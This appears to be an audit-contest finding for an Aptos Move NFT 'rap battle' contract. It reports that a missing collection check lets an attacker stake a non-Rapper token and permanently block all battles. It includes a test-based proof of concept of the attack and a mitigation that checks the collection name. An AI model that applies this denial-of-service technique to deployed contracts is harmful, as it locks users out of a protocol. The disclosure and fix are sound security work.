One Shot: Reloaded

First Flight #47
Beginner FriendlyNFT
100 EXP
Submission Details
Impact: high
Likelihood: high

Battle arena DoS via non-rapper NFT token injection

Author Revealed upon completion

Description

An attacker can permanently brick the battle arena by using an NFT from a collection other than "Rappers". The go_on_stage_or_battle function accepts any Object<Token> without validating it belongs to the correct collection. When a battle is initiated, the skill_of function attempts to access stats that don't exist for non-Rapper tokens, causing the transaction to abort. This makes the arena permanently unusable.

Root Cause

The vulnerability exists due to missing collection validation in rap_battle::go_on_stage_or_battle():

// rap_battle.move
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>, // @audit: Accepts ANY token, not just Rappers
bet_amount: u64
) acquires BattleArena {
// ...
if (arena.defender == @0x0) {
let token_id = object::object_address(&rapper_token);
arena.defender_token_id = token_id; // @audit: Stores non-Rapper token ID
// ...
} else {
// Battle logic
let defender_skill = one_shot::skill_of(arena.defender_token_id); // @audit: ABORTS here
let challenger_skill = one_shot::skill_of(chall_token_id);
// ...
}
}

The skill_of function in one_shot.move assumes the token has a stats entry:

// one_shot.move
public(friend) fun skill_of(token_id: address): u64 acquires RapperStats {
let stats_res = borrow_global<RapperStats>(@battle_addr);
let s = table::borrow(&stats_res.stats, token_id); // @audit: ABORTS if token_id not in table
// ... skill calculation
}

Critical flaws:

  1. No collection validation: Function accepts tokens from any collection

  2. Missing stats existence check: skill_of assumes stats entry exists

  3. Permanent DoS: Once a non-Rapper token is set as defender, all future battles abort

Risk

Likelihood: High - Any attacker can easily create/obtain an NFT from another collection

Impact: High - Complete denial of service of the battle functionality

Impact

High severity because:

  • Protocol breaking: Core battle functionality becomes permanently unusable

  • No mitigation: Once poisoned, the arena cannot be recovered without contract upgrade

  • Affects all users: No one can participate in battles anymore

  • Trivial to exploit: Attacker only needs any non-Rapper NFT

Proof of Concept

The test requires adding #[test_only] helper functions to the respective modules:

// Add to cred_token.move
#[test_only]
public fun init_module_test(sender: &signer) {
let (burn_cap, freeze_cap, mint_cap) = coin::initialize<CRED>(
sender,
string::utf8(b"Credibility"),
string::utf8(b"CRED"),
8,
false,
);
move_to(sender, CredCapabilities { mint_cap, burn_cap });
coin::destroy_freeze_cap(freeze_cap);
}
// Add to rap_battle.move
#[test_only]
public fun init_module_test(sender: &signer) {
move_to(sender, BattleArena {
defender: @0x0,
defender_bet: 0,
defender_token_id: @0x0,
prize_pool: coin::zero<cred_token::CRED>(),
});
}
// Add to one_shot.move (if not already present)
friend battle_addr::one_shot_tests;

Test demonstrating the DoS attack:

#[test_only]
module battle_addr::one_shot_tests {
use std::signer;
use std::vector;
use std::option;
use std::debug::print;
use std::string::utf8;
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::coin;
use aptos_framework::event;
use aptos_framework::object::{Self as object, Object};
use aptos_token_v2::token as token_module;
use aptos_token_v2::token::Token;
use aptos_token_v2::collection;
use battle_addr::one_shot::{Self as one_shot, MintRapperEvent};
use battle_addr::rap_battle::{Self as rap_battle};
use battle_addr::cred_token::{Self as cred_token};
#[test]
#[expected_failure] // This test demonstrates the DoS - it will abort when trying to battle
public fun test_dos_battle_arena_with_non_rapper_token() {
let now = 1_758_100_000_000;
// Initialize timestamp for testing
let aptos_framework = account::create_account_for_test(@0x1);
timestamp::set_time_has_started_for_testing(&aptos_framework);
timestamp::update_global_time_for_test(now);
// Initialize aggregator factory and coin system
coin::create_coin_conversion_map(&aptos_framework);
let module_owner = account::create_account_for_test(@battle_addr);
let attacker = account::create_account_for_test(@attacker_addr);
let innocent_player = account::create_account_for_test(@0x999);
cred_token::init_module_test(&module_owner);
rap_battle::init_module_test(&module_owner);
// Mint a legitimate Rapper NFT for the innocent player
one_shot::mint_rapper(&module_owner, signer::address_of(&innocent_player));
let mint_events = event::emitted_events<MintRapperEvent>();
let first_event = vector::borrow(&mint_events, 0);
let legit_token_id = one_shot::get_mint_event_token_id(first_event);
let legit_rapper_token = object::address_to_object<Token>(legit_token_id);
// Create a different collection (not "Rappers")
let _ = collection::create_unlimited_collection(
&attacker,
utf8(b"Fake NFT Collection"),
utf8(b"FakeCollection"),
option::none(),
utf8(b"https://fake.com")
);
// Create a token in the fake collection
let fake_token_ref = token_module::create(
&attacker,
utf8(b"FakeCollection"),
utf8(b"FakeToken Description"),
utf8(b"FakeToken"),
option::none(),
utf8(b"https://fake.com/token")
);
// Convert ConstructorRef to Object<Token>
let fake_token_object = object::object_from_constructor_ref<Token>(&fake_token_ref);
let fake_token_addr = object::address_from_constructor_ref(&fake_token_ref);
print(&utf8(b"=== ATTACK STEP 1: Attacker puts non-Rapper NFT on stage ==="));
print(&utf8(b"Fake token address:"));
print(&fake_token_addr);
// Attacker uses the fake NFT to go on stage with 0 bet
// This succeeds because go_on_stage_or_battle accepts any Object<Token>
rap_battle::go_on_stage_or_battle(&attacker, fake_token_object, 0);
print(&utf8(b"=== ATTACK STEP 2: Arena is now poisoned with non-Rapper NFT ==="));
print(&utf8(b"=== ATTACK STEP 3: Innocent player tries to battle ==="));
// Innocent player tries to battle with their legitimate Rapper NFT
// This will ABORT because skill_of(fake_token_addr) tries to access
// stats that don't exist (fake token has no entry in RapperStats table)
rap_battle::go_on_stage_or_battle(&innocent_player, legit_rapper_token, 0);
// THE ARENA IS NOW PERMANENTLY BRICKED
// Any attempt to battle will abort at skill_of() call
// No one can use the battle arena anymore
}
}

Recommended Mitigation

FIXED: Collection validation has been implemented to ensure only Rapper NFTs can be used:

// rap_battle.move - IMPLEMENTED
use aptos_token_v2::token::{Self as token_v2, Token};
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena {
let player_addr = signer::address_of(player);
let arena = borrow_global_mut<BattleArena>(@battle_addr);
// Validate the token is from the Rappers collection
let token_collection = token_v2::collection_name(rapper_token);
assert!(
token_collection == string::utf8(b"Rappers"),
E_INVALID_COLLECTION
);
// ... rest of function unchanged
}

Attempts to use non-Rapper NFTs will fail with error code E_INVALID_COLLECTION during the collection validation check, preventing the DoS attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.